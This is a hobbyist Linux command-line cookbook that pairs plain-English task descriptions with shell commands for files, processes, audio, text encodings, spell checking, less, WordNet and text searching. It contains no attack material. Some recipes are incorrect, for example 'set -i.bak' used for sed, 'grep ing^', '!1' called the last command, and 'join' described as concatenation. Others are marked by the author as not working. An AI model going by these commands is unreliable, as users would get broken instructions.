bumble.sf.net language and parsing

plain text

The Linux Operating System

-----------------------------:

Quote: "I'm doing a (free) operating system, just a hobby,..." (Linus Torvalds)

This booklet is designed to help with common tasks on a Linux system. It is designed to be presentable as a series of "recipes" for accomplishing common tasks. These recipes consist of a plain English one-line description, followed by the Linux command which carries out the task. The document is focused on performing tasks in Linux using the 'command line' or 'console'. The format of the booklet was largely inspired by the "Linux Cookbook" www.dsl.org/cookbook

@@ http://github.com/himanshuc/nixhacker/tree/master a good list of resources @@ http://www.pixelbeat.org/cmdline.html some command lines recipes @@ http://www.shell-fu.org/ some command line recipes @@ http://www.commandlinefu.com/ a very good site with lots of command-line tips @@ http://dsl.org/cookbook/cookbook_toc.html A very good Linux User "cookbook" and the primary inspiration for the booklets on this site.

GOOD

BOOKS

@@ The UNIX Environment (Andrew Walker, Wiley 1984) @@ The Linux Cookbook (Michael Stutz, No Starch Press) @@ The Unix Programming Environment (Kernighan et al)

ONLINE

BOOKS ....

@@ http://www.catb.org/~esr/writings/taoup/html/ @@ http://www.faqs.org/docs/artu/ a philosophical book about the unix operating system by Eric Raymond (2003) @@ http://www.linfo.org/onlinebooks.html a list of online linux books

GETTING

HELP

The traditional Unix help system is called 'man' or 'manual' pages. And they can be good. It is one of the ironies and frustrations of Unix that a man page only really becomes helpful and interesting once one already knows what a program does and how to basically use it.

* show the short help description for all programs

 whatis -r '.*'
 for i in $(ls $(echo $PATH | tr ':' ' ')); do whatis $i; done | less

* search for all programs which have something to do with 'java'

 whatis -r '.*' | grep java
 whatis -r 'java' 
 whatis -r java 

* view the 'manual' page for the wc (word/line/character count) command

 man wc  

Sadly, 'man' pages are often written in a cryptic way and are short on examples. The examples, if there are any, are almost always right at the end of the man page.

* view the manual page in 'section' 4. See the list of sections, elsewhere

 man 4 command    

* show what software is available to install, relating to 'page layout'

 apt-cache search "page layout"
 apt-cache search "page layout" | grep -v '^lib'  ##(exclude code libraries))

* Search all man pages for the word 'dig'

 man -k dig  ##(does this search just the short description??)

* find documentation for latex packages in pdf format

 find /usr/share/doc/ -name '*.pdf'    ##(on a debian system, at least)

AN INTRODUCTION TO THE LINUX COMMAND LINE

UNIX

CULTURE SHOCK ....

Those users who have no experience with a Unix-style operating system, but are familiar with the Microsoft Windows operating system will experience a kind of 'culture shock' when they begin to use Linux. This is true even if the user is familiar with using the 'command-line' on a Microsoft computer. This section attempts to point out some of the things which may seem baffling and illogical to the new Linux user.

@@ You cant just download an 'exe' and click on it to run it However you can easily install new software with 'sudo apt-get install <program-name>' @@ file names dont have to have extensions (such as .txt), but can To an experienced Microsoft command line user, the idea of just calling a text file 'report' rather than 'report.txt' is rather disorientating. "How will the computer know what type of file it is?" The microsoft user thinks. File names can and do begin with a dot '.' File names can begin with a tilde '~' @@ Linux commands are very short and cryptic Why is the 'list files' command, called 'ls' and not 'list'? It would be so much more memorable as 'list' than 'ls'. This is the "Unix way". If you like typing you can do alias list='ls'

@@ The folder hierarchy in Linux seems very cryptic and you cant just put files anywhere

BASIC

USER COMMANDS ....

* log in to the system with a username of 'bob'

 ubuntu login: bob 

* log out of the system

 logout 

* switch to the fourth virtual console

 press [ALT]-[F4]

* switch from the fourth to the third virtual console, press:

 [ALT]-[<-]

* switch from X to the first virtual console, press:

 [CTRL]-[ALT]-[F1]

* run the hostname tool to find the name of the computer

 hostname 

* output the version of the hostname tool

 hostname --version 

* run hostname and specifying that the file 'host.info' be read from

 hostname -F host.info 

* change your password

 passwd 

* output your username

 whoami 

* see who is currently logged in

 who 

* see who is currently logged in and what they are doing

 w 

* display information about recent use of the system

 last | less

* find out when the user 'mjb' last logged in

 last mjb 

NOTE

: The last tool gets its data from the system file '/var/log/wtmp'; the last line of output tells how far this file goes back.

BASIC

PROCESS COMMANDS ....

* list the processes in your current shell session

 ps 

* list all the processes that user 'hst' has running on the system

 ps -u hst 

This command is useful for listing all of your own processes

* list all of the processes and give their user-names

 ps aux  ##(there could be a lot of output, even on single user systems)

* display a continually updated display of the current system processes

 top 

* list all the processes containing a reference to an 'sbin' directory

 ps aux | grep sbin 

* list any processes whose process IDs contain a 13 in them

 ps aux | grep 13 

* list the process whose PID is 344

 ps -p 344 

BASIC

SOFTWARE COMMANDS ....

* Run skype using your GTK theme

 skype --disable-cleanlooks -style GTK

* output a list of programs that pertain to consoles

 apropos consoles 

* output a list of all tools whose pages in the system manual contain a reference to consoles

 man -k consoles 

* list all of the software packages installed on the system

 dpkg -l 

* list all of the packages whose name or description contains the text "edit," regardless of case

 dpkg -l | grep -i edit 

* peruse descriptions of the packages that are available

 less /var/lib/dpkg/available 

* get a description of the who tool

 whatis who 

* view the manual page for w

 man w 

* view all of the Info manuals on the system

 info 

* read the Info documentation for the tar tool

 info tar 

This command opens a copy of The GNU tar Manual in info. To read the contents of a file written in Info format, give the name of

* read 'faq.info', an Info file in the current directory

 info -f faq.info 

* read 'faq.info', an Info file in the current directory, beginning with the node Text

 info -n 'Text' -f faq.info 

* view the HTML version of the Debian FAQ in the lynx Web browser

 lynx /usr/share/doc/debian/FAQ/debian-faq.html 

The above only works on a Debian flavour of Linux.

* view the compressed text version of the Debian FAQ in zless,

 zless /usr/doc/debian/FAQ/debian-faq.txt.gz 

BASIC

COMMAND LINE USAGE ....

* repeat the last command entered

 [^|] 

The [^|] key moves the last command you typed back to the input line, and executes it.

* retrieve the last command you entered with the string 'grep' in it

 <control-r>   ##(press the <control> key and the 'r' key)
(reverse-i-search)'': grep

* put the 3rd-last command you entered with 'grep' in it on the input line

 [Control]-r
(reverse-i-search)'': grep

* clear the screen and then log out of the system

 clear; logout 

* run the hostname command twice times

 hostname; hostname 

* redirect standard input for apropos to file 'keywords'

 apropos < keywords 

* redirect standard output of a command to the file 'commands'

 apropos shell bash > commands 

* append the standard output of apropos shells to the file 'commands'

 apropos shells >> commands 

* redirect the standard error of apropos shell bash to 'command.error'

 apropos shell bash 2> command.error 

* perform a long task in the background, saving all messages to 'img.txt'

 find / | xargs file | grep image &>~/img.txt &

In the command above, both error messages (2>) and all normal output of the command will be redirected to the 'img.txt' text file in the users home folder.

* append the error output of a command to an existing file 'command.error'

 apropos shells 2>> command.error 

* redirect the standard output and standard error to the file 'commands'

 apropos shells &> commands 

* view the output of "apropos bash shell shells" in a 'pager' program

 apropos bash shell shells | less 

A pager program allows you to view output from a program one (screen) page at a time. (pagers: more/less/most)

* run the command apropos shell > shell-commands as a background job

 apropos shell > shell-commands & 

* run job 4 in the background

 bg %4 

Trivia: running a job in the background is sometimes called "backgrounding" or "amping off" a job.

* bring the most recent background job to the foreground

 fg 

* bring job 3 to the foreground

 fg %3 

* list your jobs

 jobs 

* kill job number 2

 kill %2 

* to interrupt a running command use [control] c

 find / -name '*e*'
 [control] c

* search your command history for the text 'apropos'

 history | grep apropos 

* specify the second-to-the-last command in your history

 [^|] [^|]

Trivia: '!', the exclamation mark is sometimes called "bang"

* run history event number 1 (the last command executed)

 !1 

* create a script of a shell session and save it to the file 'log.1'

 script log.1 

SIMPLE

FILE COMMANDS ....

* create the file 'new.txt' in the current directory

 touch new.txt 

* create the file 'new' in the 'work/docs' subdirectory of the current directory

 touch work/docs/new

On a Unix-style computer, such as Apple OSX or Linux, files do not have to have 'extensions' to their names, unlike on Microsoft Windows.

* make a new directory called 'work' in the current working directory

 mkdir work 

* create the 'work/completed/2001' directory

 mkdir -p work/completed/2001 
 mkdir --parents work/completed/2001    ##(the same)

If the 'work' and 'completed' folders do not exist, then they will be created.

SIMPLE

FOLDER COMMANDS ....

* change the current working directory to '/usr/doc'

 cd /usr/share/doc 

* return to the directory you were last in

 cd - 

* determine what the current working directory is

 pwd 

* list the contents of 'work', a subdirectory in the current directory

 ls work 

* list the contents of the '/usr/doc' directory

 ls /usr/doc 

* list the contents of the directory so that directories and executables are distinguished from other files

 ls -F 

* output a verbose listing of the '/usr/doc/bash' directory

 ls -l /usr/doc/bash 

* output a recursive listing of the current folder and sub-folders

 ls -R 

* list all of the files on the system

 ls -R / 

* list the files in the 'log' directory sorted with newest first

 ls -t /var/log 

The '/var/log' folder usually contains 'log' files which record the activities of software running on the computer. Type 'man hier' for more information about the Linux folder structure.

* list all files in the current directory (including 'hidden' files)

 ls -a 

important 'ls' options .. -a - display all files, including hidden ones .. -F - display the file types of files .. -R - list all folders and subfolders .. -t - sort the displayed files by date ..

* output a tree graph of your home directory and all its subdirectories

 tree ~       ##(this shows files as well as folders)

* show a just the start of a folder tree for the home folder

 tree -d /usr/local | head -20    

[>>0.3 image/eg-tree.png]

* peruse a tree graph of the '/usr/local' directory tree

 tree -d /usr/local | less    

COPYING

FILES ....

* copy the file 'old' to the file `new'

 cp old new 

* copy files preserving the file attributes

 cp -p file.txt new-copy.txt

* copy the folder 'reports' verbosely (showing what is being done)

 cp -vr reports ~/new/

* copy a folder tree verbosely, but only copy files which are newer

 cp -vur docs/office ~/docs

* copy the folder 'public_html', and subfolders, to 'private_html'

 cp -R public_html private_html 

The cp '-R' option doesnt copy symbolic links. But the "man" page for cp states that -r and -R are equivalent

* make an archive copy of the directory tree 'public' to 'private'

 cp -a public_html private_html 

MOVING

FILES ....

* move the file 'notes' in the current working directory to '../play'

 mv notes ../play 

* move the file '/usr/tmp/notes' to the current working directory,

 mv /usr/tmp/notes . 

This command moves the file '/usr/tmp/notes' to the current working

* move the directory 'work' in the current working directory to 'play'

 mv work play 

* rename the file 'notes' to `notes.old'

 mv notes notes.old 

NOTE

: to rename multiple files use 'rename'

DELETING

FILES ....

* remove the file 'notes' in the current working directory

 rm notes 

* remove the directory 'waste' and all of its contents

 rm -R waste 

* remove the directory 'empty'

 rmdir empty 

* use tab completion to remove the file 'No Way' in the current directory

 rm No[TAB] Way 

* delete the file '^Acat' in a directory that also contains the files 'cat' and `dog'

 rm -i ?cat   ##(rm: remove '^Acat'? y )

* remove the file '-cat' from the current directory

 rm -- -cat 

SYMBOLIC

LINKS ....

* create a hard link from 'seattle' to `emerald-city'

 ln seattle emerald-city 

* create a symbolic link from 'seattle' to `emerald-city'

 ln -s seattle emerald-city 

* list all files in the '/usr/bin' directory that have the text 'tex' anywhere in their name

 ls /usr/bin/*tex* 

* copy all files whose names end with '.txt' to the `doc' subdirectory

 cp *.txt doc 

* output a verbose listing of all files whose names end with either a '.txt' or '.text' extension, sorting the list so that newer files are listed first

 ls -lt *.txt *.text 

* remove all files in the current working directory that begin with a hyphen and have the text 'out' somewhere else in their file name

 rm -- -*out* 

* join text files whose names have an 'a' followed by 2 or more characters

 cat a??* 

The original files are unchanged, but the joined together text files are displayed on the screen.

THE

BASH PROMPT ....

* change your shell prompt to 'Your wish is my command: '

 PS1='Your wish is my command: ' 

* change your prompt to the default bash prompt (the current folder)

 PS1='\w $ ' 

* change the prompt to the current date, space, the hostname, and a '>'

 PS1='\d (\h)>' 

* clear the screen every time you log out,

  clear     ##(put this in the file '.bash_logout')

INSTALLING

SOFTWARE

* search for games software which are available to install

 apt-cache search game 

* update the repository cache

 sudo apt-get update 

Add new repositories to the file '/etc/apt/sources.list'

SOUND

A linux system is capable of playing, recording and editing sound (audio) files with a variety of open-source software. This section only provides what should be a very succint overview of the most important sound tasks with linux. For more detailed information, please consult the booklet listed below.

@@ http://bumble.sourceforge.net/books/linux-sound/ A more comprehensive introduction to using audio with the linux operating system.

* Synthesize text as speech

 echo "hello world " | festival --tts

* find the duration of the audio file 's.wav' in hours/minutes/seconds

 soxi -d s.wav
 soxi s.wav | grep -i duration   ##(the same)

RECORDING

AUDIO ....

* record a 'wav' file from the microphone, saving it to 'hello.wav'

 rec hello.wav   

This begins an 8,000 Hz, monaural 8-bit WAV recording, which is not very good quality.

* make a high-fidelity recording from the mic and save it to 'goodbye.wav'

 rec -s w -c 2 -r 44100 goodbye.wav 
 rec -s w -c 2 -r 44100 goodbye.wav 

PLAYING

AUDIO ....

* play the MP3 stream at the url

 mpg321 http://example.net/broadcast/live.mp3 

CONVERTING

AUDIO FILE FORMATS ....

It is a common task to need to convert sound files from one format to another.

* translate an audio file in Sun AU format to a Microsoft WAV file,

 sox recital.au recital.wav

* convert 'sound.mp3' into a wav file 'new.wav' (a new file is created)

 mpg321 -w new.wav old.mp3   ##(the file 'old.mp3' is unchanged)
 mpg123 -w new.wav old.mp3   ##(the same) 

* encode an MP3 file from a WAV file called 'september-wind.wav'

 lame september-wind.wav september-wind.mp3 

EDITING

SOUND ....

tools for editing sound .. audacity - a good graphical sound editor .. sox - a command line audio editor ..

* join the audio files 'a.wav' and 'b.wav' together and save as 'new.wav'

 sox a.wav b.wav new.wav

CONVERTING

AUDIO FILES ....

TRANSLATION

translation tools .. youtranslate - uses web services such as google ..

UNICODE

* Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte

 find . -type f | grep -rl $'\xEF\xBB\xBF'

* show the current locale (language and character encoding)

 locale

* show a hexdump of a text file

 hd file.txt
 hexdump file.txt    #(the format is a little different)

TEXT

FILE ENCODINGS

* Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or

 tcs -f 8859-1 -t utf /some/file

* Convert filenames from ISO-8859-1 to UTF-8

 convmv -r -f ISO-8859-1 -t UTF-8 --notest *

* Detect encoding of the text file 'file.txt'

 file -i file.txt  ##(-i is the 'mime' switch, but it also shows encoding)

* convert file from utf8 (no bom) to utf16 (with 'bom')

 recode UTF8..UTF-16LE linux-utf8-file.txt

* convert all '.php' files to the utf-8 text encoding

 find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newf/{} \;

* find utf-8 encoded text files misinterpreted as iso 8859-1

 find -type f | while read a;do [ "`head -c3 -- "${a}"`" == $'\xef\xbb\xbf' ] && echo "match: ${a}";done

* Fix UTF-8 text files misinterpreted as ISO 8859-1 due to Byte

 perl -i -pe 's/\xef\xbb\xbf//g' <file>

* Convert file type to unix utf-8

 ex some_file "+set ff=unix fileencoding=utf-8" "+x"

* Convert one file from ISO-8859-1 to UTF-8.

 iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt

SPELL

CHECKING

spell checking programs .. spell, a non interactive spell checker .. ispell, a veteran program .. aspell, the gnu version .. myspell, the open-office spell checker .. hunspell, based on ispell .. spellutils, debian package to selectively spell check

editors with spell checking .. vim, type ':set spell' to activate, and 'z=' to correct .. emacs, ..

* search for all debian packages which have something to do with spelling

 apt-cache search spell 

* spell check the file 'lecture'

 spell lecture

prints a list of badly spelled words

* print all misspelled words in all ".txt" files with line numbers

 spell -n -o *.txt

* spell check the file 'ch.1.txt', with misspellings to the file 'bad.sp'

 spell ch.1.txt > bad.sp 

* check the spelling of a word on the command line

 echo 'is this korrect ?' | spell   

This prints 'Korrect' since it is badly spelled

* output a sorted list of the misspelled words from 'lecture.draft'

 spell lecture.draft | sort | uniq 

ISPELL

....

'ispell' is an older and simpler program than 'aspell'

* interactively spell check 'report.txt'

 ispell report.txt 

* install a British English dictionary for the "ispell" spell checker

 sudo apt-get install ibritish  

* check and correct the spelling interactively in document "report.txt"

 ispell report.txt 
##(when a misspelling is found, type the number of the replacement)

* spell check "file.txt" using a british english dictionary

 ispell -d british file.txt 

* spell check a document written in spanish (using a spanish dictionary)

 ispell -d spanish archivo.txt 

* show what dictionaries are available locally for ispell

 ls /usr/lib/ispell/

* the ispell dictionaries are all called "i[language-name]"

 dictionary files: icatalan, ibrazilian ...

* spell check and correct "thesis.tex" which is a LaTeX format document

 ispell -t thesis.tex  ##(ispell ignores the latex mark-up codes)

ASPELL

aspell is a more modern and capable spell checking program

@@ http://aspell.net/ the official site @@ http://aspell.net/man-html/index.html A usage manual for aspell

* show options for aspell and available dictionaries

 aspell help | less

* show locally available dictionaries for aspell

 aspell dicts

* install a British and American English dictionary for aspell

 sudo apt-get install aspell-en

* install a spanish dictionary for aspell

 sudo apt-get install aspell-es

* show all debian packages and dictionaries for aspell

 apt-cache search aspell 

* interactively check the spelling of the file "chapter.txt"

 aspell -c chapter.txt
 aspell check chapter.txt      ##(the same)

ASPELL

WITH OTHER LANGUAGES ....

* check the spelling of "chapter.txt" using British English spelling

 aspell -d british -c chapter.txt
 aspell -d en_GB -c chapter.txt   ##(this is the same)

* check the spelling of "chapter.txt" using a Spanish dictionary

 aspell -d spanish -c chapter.txt
 aspell -d es -c chapter.txt   ##(this is the same)

* check spelling in the comments in the shell script (lines starting with "#")

 aspell --mode=comment -c script.sh  ##(!!doesnt work on my version)

* checking the spelling in the tex/latex file "chapter.tex"

 aspell -t -c chapter.tex 

* show available filters for spell-checking particular types of files

 aspell filters
 aspell dump filters   ##(the same) 

* spell check a file skipping (ignoring) lines which start with '>'

 aspell --mode=email check book.txt
 aspell --mode=email -c book.txt    ##(the same)
 aspell -e -c book.txt

* create a vim "mapping" to use aspell within vim

 map TT :w!<CR>:!aspell check %<CR>:e! %<CR>

* spell check a file but only between a "*" character and the end of the line

 aspell --add-filter=context --add-context-delimiters="* \0" -c francisco.txt
##(doesnt really work)

TEXT

FILES

VIEWING

TEXT FILES ....

text file viewing tools .. less - a text file pager .. most - a more capable pager ..

* To print a specific line from a file

 awk 'FNR==5' <file>

* set the default pager to be the 'most' program

 update-alternatives --set pager /usr/bin/most

* View non-printing characters with cat

 cat -v -t -e

* See non printable characters like tabulations, CRLF, LF line

 od -c <FILE> | grep --color '\\.'

LESS

....

@@ http://www.greenwoodsoftware.com/less the homepage for less

The humble 'less' program is worthy of a second look. Less allows one to peruse and search a text file, but not alter it. I am documenting version 429 (year 2008). Less uses vi-like keys to move around and search.

* view the text file 'doc.txt' one screen page at a time

 less doc.txt

* view the text file 'days.txt' starting at the end

 less +G days.txt

some common 'less' commands .. [space-bar] - forward one window .. [esc] + [space-bar] - forward one window (with multiple files) .. b - back one window .. j - down one line (the same as 'vim') .. k - up one line (the same as 'vim') .. F - go to end of file and 'follow' new data (like tail -f) .. G - go to the last line of the file .. g - go to the first line of the file .. /pattern - Search forward for (N-th) matching line. .. ?pattern - Search backward for (N-th) matching line. .. n - Repeat previous search (for N-th occurrence). .. N - Repeat previous search in reverse direction. .. ESC-n - Repeat previous search, spanning files. .. v - edit the current file with $VISUAL or $EDITOR ..

some less command line switches .. -i - when searching within less, ignore case, unless search has uppercase .. -I - when searching within less, ignore case. .. -G - dont highlight matches when searching within less ..

STARTING

LESS ....

* view the file 'long.txt' and make searches within less case-insensitive

 less -I long.txt

* view the file 'long.txt', with 'semi' case-insensitive searching

 less -i long.txt  ##(searches with capital letters are case-sensitive)

* make an alias which will make less always semi case-insensitive

 alias less='less -i'

* within less turn on or off case-insensitive searching

 -I [enter] 

* within less see whether searches are case-sensitive or not

 _I

* view the output of 'grep' starting at the first line which has 'science' in it

 grep tree forest.txt | less +/science

* follow the end of the log file 'tcp.log' showing new data as it enters

 less +F tcp.log   ##(this is like 'tail -f' but allows more perusal) 

* Search for a word in less

 /\bTERM\b

* go to the 80% position in the file (that is, 80% towards the end)

 p80

* display less commands

 h

LESS

WITH MULTIPLE FILES ........

* search multiple files for the text 'tree'

 less *.txt (then type) /*tree

LESS

BOOKMARKS ........

Less bookmarks work in the same way as 'vi' or 'vim' bookmarks

* mark the current top-of-screen position in the text file as bookmark 'x'

 mx     ##(any single letter can be used as a bookmark)

* jump to the bookmark x

 'x

* save text from current top-of-screen to the bookmark 'x' in file 'save.txt'

 |x cat > save.txt

* jump to where you just were (before going to a bookmark)

 ''

* edit the current file (but the variable $EDITOR or $VISUAL must be set)

 v   

ANALYSING

LANGUAGE ....

DICTIONARIES

....

* Look up the definition of a word

 curl dict://dict.org/d:something

WORDNET

....

* get help for wordnet

 man wnintro
 man wn

* show a list of word senses available for the word 'browse',

 wn browse -over

* output a list of words from the dictionary that begin with the string 'homew'

 look homew  ##(prints something like 'homeward' and `homework' ...)

* list words in the dictionary containing the string 'dont' regardless of case

 grep -i dont /usr/dict/words 

* list all words in the dictionary that end with 'ing'

 grep ing^ /usr/dict/words 

* list all of the words that are composed only of vowels

 grep -i '^[aeiou]*$' /usr/dict/words 

* output a list of words that rhyme with 'friend', search '/usr/dict/words' for lines ending with `end':

 grep 'end$' /usr/dict/words 

* search the WordNet dictionary for nouns that begin with 'homew'

 wn homew -grepn 

* search the WordNet dictionary for nouns and adjectives that begin with 'homew'

 wn homew -grepn -grepa 

* list the definitions of the word 'slope'

 wn slope -over 

* output all of the synonyms (same meaning) for the noun 'break'

 wn break -synsn 

* output all of the synonyms for the verb 'break'

 wn break -synsv 

* output all of the antonyms (opposite meaning) for the adjective 'sad'

 wn sad -antsa 

A hypernym of a word is a related term whose meaning is more general

* output all of the hypernyms for the noun 'cat'

 wn cat -hypen 

Debian 'dict'

* check file 'dissertation' for clichés or other misused phrases, type:

 diction dissertation | less 

* check file 'dissertation' for clichés or other misused phrases, and write the output to a file called 'dissertation.diction'

 diction dissertation > dissertation.diction 

* If you don't specify a file name, diction reads text from the standard

* output all lines containing double words in the file 'dissertation'

 diction dissertation | grep 'Double word' 

* check the readability of the file 'dissertation'

 style dissertation 

Like diction, style reads text from the standard input if no text is given

* output all sentences in the file 'dissertation' whose ARI is greater than a value of 20

 style -r 20 dissertation 

* output all sentences longer than 14 words in the file 'dissertation'

 style -l 14 dissertation 

* output the number of lines, words, and characters in file 'outline'

 wc outline 

* output the number of characters in file 'classified.ad'

 wc -c classified.ad 

Use wc with the '-w' option to specify that just the number of words be

* output the number of words in the file 'story'

 wc -w story 

* output the combined number of words for all the files with a '.txt' file name extension in the current directory

 cat *.txt | wc -w 

* output the number of lines in the file 'outline'

 wc -l outline 

* output a word-frequency list of the text file 'naked_lunch',

 tr ' ' '\n' < naked_lunch | sort | uniq -c 

* output a count of the number of unique words in the text file 'naked_lunch'

 tr ' ' ' 
> ' < naked_lunch | sort | uniq -c | wc -l

* rank the files rep.a, rep.b, rep.c in order of relevance to keywords 'saving' and `profit'

 rel "(saving & profit)" report.a report.b report.c 

* output a list of any files containing either 'invitation' or 'request' in the `~/mail' directory, ranked in order of relevancy, type:

 rel "(invitation | request)" ~/mail 

* output a list of any files containing 'invitation' and not 'wedding' in the `~/mail' directory, ranked in order of relevancy, type:

 rel "(invitation ! wedding)" ~/mail 

* output a list of any files containing 'invitation' and 'party' in the '~/mail' directory, ranked in order of relevancy

 rel "(invitation & party)" ~/mail 

WRAPPING

TEXT LINES ....

* format a text file with lines 80 characters long,

 fmt -w 80 textfile   ##(short lines lengthened)
 fmt -s -w 80 textfile   ##(short lines are not lengthened)

* use par instead

SPLITTING

TEXT FILES ....

* split a file into a maximum of 10 files on lines containing * '#200', '#400', '#600' etc with output files called "zz00", "zz01", etc

 csplit -f zz file.txt "/^#1?[24680]00$/" {8}  
##(the split occurs 'before' the line containing the match)

MERGING

TEXT FILES ....

* Concatenate lines of to files, one by one

 join file1.txt file2.txt > file3.txt

* Merges given files line by line

 paste -d ',:' file1 file2 file3

CONVERTING

OTHER FORMATS TO TEXT ....

* convert from html to text

 lynx -dump http://url > textfile
 links-dump http://url > textfile ##(may render tables)
 w3m -dump http://url > textfile  ##(may tables better)

* remove the newline characters from the text file 'autoexec.bat'

 fromdos autoexec.bat 
 dos2unix autoexec.bat ##(the same)

* add newline characters to all of '.tex' files in the current directory

 todos *.tex 
 unix2dos *.tex ##(the same)

CONVERTING

CHARACTER ENCODINGS ....

@@ http://asis.epfl.ch/GNU.MISC/recode-3.6/recode_3.html

* Convert encoding of given files from one encoding to another

 iconv -f utf8 -t utf16 /path/to/file

* see also iconv (older)

* show possible conversions with the 'recode' tool

 recode -l | less 

* convert latin9 (western europe) character encoding to utf8

 recode iso-8859-15..utf8 report.txt    ##(the actual file is changed)

* convert from the local character set to the latin1 encoding saving to "new.txt"

 recode ..lat1 < file.txt > new.txt   ##(the original file is unchanged)

* convert to html

 recode ..HTML < file.txt > file.html

* convert from utf8 to html with verbose output

 recode -v u8..h < file.txt 

* convert from MS Windows utf8 to the local character set

 recode utf-8/CRLF.. file-to-change.txt

COMPARING

AND PATCHING TEXT FILES ....

The process of 'patching' a text or code file is very important in the world of open-source development (and therefore in the development of Linux itself). Patching allows non-linear changes to be made to a file and is usually used in conjuction with 'diff'

* Use colordiff in side-by-side mode, and with automatic column

 colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2

* Compare a file with the output of a command or compare the output

 vimdiff foo.c <(bzr cat -r revno:-2 foo.c)

* remote diff with side-by-side ordering.

 ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE -

* Diff files on two remote hosts.

 diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)

* show lines that appear in both file1 and file2

 comm -1 -2 <(sort file1) <(sort file2)

* find the extra lines in file2

 diff file1 file2 | grep ^>

* find the extra lines in file1

 diff file1 file2 | grep ^<

* Compare a remote file with a local file

 ssh user@host cat /path/to/remotefile | diff /path/to/localfile -

* Generate diff of first 500 lines of two files

 diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)

* compare the files 'manuscript.old' and `manuscript.new'

 diff manuscript.old manuscript.new 

* peruse the files 'olive' and 'green' side by side indicating differences

 sdiff olive green | less 

* output a difference report for files 'tree', 'bush', and 'hedge',

 diff3 tree bush hedge > arbol 

* update the original file 'manuscript.new' with the patchfile 'manuscript.diff'

 patch manuscript.new manuscript.diff 

* Colored diff ( via vim ) on 2 remotes files on your local

 vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com//etc/snmp/snmpd.conf

* vimdiff to remotehost

 vimdiff tera.py <(ssh -A testserver "cat tera.py")

SEARCHING

TEXT ....

gnu grep special characters .. \< - matches beginning of a word .. \> - matches the end of a word .. \b - matches a word boundary .. [:upper:] - matches upper case letters (unicode) .. [:lower:] - matches lower case letters (unicode) .. [:space:] - matches space characters .. ,,,

00- the "--" sequence may be "escaped" in grep. for example: grep "\-\-" file.txt

* search interactively and ignoring case all '.txt' files in this folder

 cat *.txt | less -I   ##(then type '/' to search) 
 less -I *.txt         ##(then type '/*' to search, seems better) 

* search for lines which begin with "#" in the text file "script"

 grep '^#' <script

* display lines which begin with an uppercase letter or word in 'doc.txt'

 grep '^[[:upper:]]\+' doc.txt 

* display lines in 'doc.txt' which do not have any upper case letters in them

 grep '^[^[:upper:]]*$' doc.txt 

* search for lines which dont contain the word "the"

 grep -v the <file

* show all lines which contain neither of the words "to" nor "green"

 egrep -v "tree|green" tree.txt 

* show the names of all files containing the word 'tree' (searches subfolders)

 find . | xargs grep -l "tree" ##(the fastest way) 
 find | xargs grep -l "tree"   ##(the dot doesnt seem important) 
 grep -l tree $(find .)        ##(the same but not for lots of files)
 grep -rl tree *               ##(veeery sloow)

* show names of all files Not containing the word 'mall' (searches subfolders)

 find | xargs grep -L "mall"      ##(matches mall, small, ...)    
 find | xargs grep -L "\<mall\>"  ##(only matches 'mall') 

* show the number of lines in a file which start with the word "tree"

 grep "^ *big" book.txt | wc -l

* search for "leaf" or "tree" ignoring the case of the words

 grep -i -e "leaf" -e "tree" * 
 egrep -i "leaf|tree" *        ##(the same)
##(shows lines with the word "Leaf", "TREE", "trEE" etc)

* show all text files in the books folder which have more than 100 lines

 find books/ | xargs wc -l | sort -rn | awk '$1 > 100 {print $2}'

* search for a pattern (regex) in all text files (ignoring binary files)

 find . -type f | perl -lne 'print if -T;' | xargs egrep "somepattern"

FIND

AND REPLACE IN TEXT FILES

notes: turma ?? a graphical tool for search and replace

SINGLE

FILE ....

* replace uppercase letters with lower case letters

 tr '[:upper:]' '[:lower:]' <file  ##(handles international text) 

* 'squeeze' multiple spaces in the file "test.txt"

 tr -s ' ' test.txt 
 tr -s '[:blank:]' test.txt  ##(the same but better, handles all whitespace)

* change aaa for bbb and print each line

 perl -p -e 's/aaa/bbb/' test.txt     ##(the file is not changed)

* replace "aaa" with "bbb" and print each line

 perl -pi -e 's/aaa/bbb/' test.txt    ##(the file IS changed)

WITH

A BACKUP ....

* replace the word "big" with "small" in .txt files backing up to .bak

 perl -p -i.bak -e 's/\bbig\b/small/g' *.txt

MULTIPLE

FILES ....

* Change string in many files at once and more.

 find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak -e 's/XXX/YYY/g'

* replace the word "big" with "small" in .txt files backing up to .bak

 perl -p -i.bak -e 's/\bbig\b/small/g' *.txt

* recursive replacement of text in the current folder and subdirectories

 perl -p -i.bak -e 's/\bbig\b/small/g' $(grep -ril oldstring *)

* change 'big' to 'BIG' in all '.txt' files in this folder and subfolders

 set -i.bak 's/big/BIG' $(find . -name '*.txt')
##(the files are edited 'in place' and backed up to '.txt.bak')

* find .txt files inside a directory and replace every occurrance

 find . -name '*.txt' -exec sed -ir 's/this/that/g' {} \;

* a find and replace within text-based files, to locate and rewrite

 find . -name "*.txt" | xargs perl -pi -e 's/old/new/g'

* find and replace with vim 'argdo'

 vim *  ... etc

ANALYSING

TEXT

* get line number of all matches in a file

 awk '/match/{print NR}' file

* Count the number of characters in each line of a file (??)

 awk '{cc[length]++}END{for(i in cc){printf("%d: %d\n", cc[i], i)}}'

* show unique words and the number of times each word occurs

 tr -sc [A-Z][a-z] [\012*] < file.txt | sort | uniq -c | less ##(???)

* Count the number of lines in all files in this and subfolders

 wc -l $(find . -name *.php)

* plot the frequency distribution of words from files

 cat *.txt | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot

ANALYSING

TEXT DATA ....

tools to process text data .. awk, a very capable text data processing language .. perl, an even more capable language .. cut, a simple field based tool .. sort, sort lines of a text file ..

